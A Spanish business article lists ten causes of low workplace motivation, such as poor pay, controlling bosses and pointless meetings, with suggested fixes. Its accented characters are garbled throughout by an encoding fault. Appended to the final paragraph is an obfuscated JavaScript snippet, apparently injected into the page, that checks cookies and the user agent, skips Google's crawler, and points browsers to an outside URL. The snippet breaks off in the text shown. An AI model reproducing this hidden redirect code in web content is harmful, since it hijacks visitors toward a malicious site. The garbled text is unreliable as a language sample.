Oportunidades

17 Ago 2015
Oportunidades | Por: Redacción

10 motivos que repercuten negativamente en tu trabajo

Ya sea que se trate de un espacio de trabajo inadecuado, un jefe que no sabe ser lAi??der o la falta de objetivos claros, llegar a la raAi??z del problema puede impulsar de manera inesperada la productividad de todo un equipo.

Nos sucede a todos: sentados en nuestro escritorio, nos damos cuenta de que no tenemos motivaciA?n alguna para llevar a cabo nuestras tareas. Cuando la falta de motivaciA?n se presenta, la productividad laboral es la principal afectada, y esta repercute no en una sola persona, sino a una oficina entera.

La A?nica cura a largo plazo para la falta de motivaciA?n es encontrar los asesinos de la misma, para erradicarlos tan pronto como sea posible. Ya sea que se trate de un espacio de trabajo inadecuado, un jefe que no sabe ser lAi??der o la falta de objetivos claros, llegar a la raAi??z del problema puede impulsar de manera inesperada la productividad de todo un equipo.

SegA?n Soy Entrepreneur, estas son las diez causas principales que suelen rondar las oficinas y afectar la motivaciA?n laboral. Erradicalos hoy mismo y regresA? a trabajar y a tu productividad.

  1. Recompensas inadecuadas

Es decir, no pagarles a tus empleados lo que valen. SegA?n un estudio realizado por Weekdone, 26 por ciento de los empleados dejarAi??a su trabajo por tan solo 5 por ciento de aumento salarial. La soluciA?n: establecAi?? un sistema abierto de recompensas.

  1. Espacio de trabajo horrible

No proveer de un espacio que favorezca la productividad: oficinas cerradas, con poca luz y falta de A?reas para interactuar. La soluciA?n: buscar un espacio de trabajo amplio, ventilado, iluminado y con A?reas para ejercitarse y relacionarse.

  1. Falta de crecimiento

No ofrecer a los colaboradores la oportunidad de desarrollarse en el A?mbito personal y profesional. A?SabAi??as que Google permite que sus empleados pasen 20 por ciento del tiempo desarrollando proyectos personales? La soluciA?n: ofrece talleres divertidos y enriquecedores.

  1. ColaboraciA?n ineficiente

Es decir, no dejar que los miembros del equipo participen en las decisiones. A?SabAi??as que, en promedio, 30 por ciento de los trabajadores no siente que sus aportaciones sean valoradas? La soluciA?n: hacAi?? preguntas de vez en cuando y tomalas en cuenta.

  1. Ambiente negativo

No prestar atenciA?n al estado de A?nimo de los trabajadores es un gran error. A?SabAi??as que 24 por ciento de los empleados poco motivados esparcen la negatividad a sus compaAi??eros? La sugerencia: antes de contratar a alguien. prestA? atenciA?n a las cualidades emocionales de tus empleados potenciales y propiciA? un ambiente de trabajo sano.

  1. Miedo al fracaso

No propiciar una cultura abierta, en la que se admitan los tropiezos y se busque aprender de ellos. La soluciA?n: no castiguAi??s a tus empleados por sus errores, ni mucho menos los expongA?s enfrente de los demA?s. Pediles que sean honestos cuando fallen.

  1. Falta de objetivos claros

No establecer metas definidas deriva en una falta de enfoque. A?SabAi??as que 63 por ciento de los empleados afirma que no conocer los objetivos de un trabajo les hace sentir que estA?n perdiendo el tiempo? Por ello, implementA? un sistema basado en objetivos y resultados.

  1. Jefes controladores

Esos jefes que no otorgan libertad a sus empleados y que buscan tomar hasta las decisiones mA?s insignificantes con tal de no ai???perder el controlai???. A?SabAi??as que 38 por ciento de los empleados preferirAi??a llevar a cabo tareas poco placenteras a sentarse junto a un jefe controlador? La soluciA?n: contratA? a un equipo en el que puedas confiar y aprende a delegar.

  1. Juntas sin sentido

Las reuniones sin una lista de pendientes por resolver o que no siguen la agenda establecida es un causante de frustraciA?n. A?SabAi??as que, en promedio, los empleados pierden 3.8 horas por semana en juntas poco productivas? La soluciA?n: convocA? a juntas sA?lo cuando sea necesario.

  1. Hacer que tu equipo pierda el tiempo

La mayorAi??a de los trabajadores estA? dispuesto a trabajar mA?s tiempo del que le corresponde, siempre y cuando sienta que su trabajo no estA? siendo desperdiciado. Por lo tanto, hay que ser ejemplo a seguir. SAi?? ordenado, terminA? tus tareas a tiempo y promovAi?? el hecho de que tus empleados se vayan a tiempo a casa.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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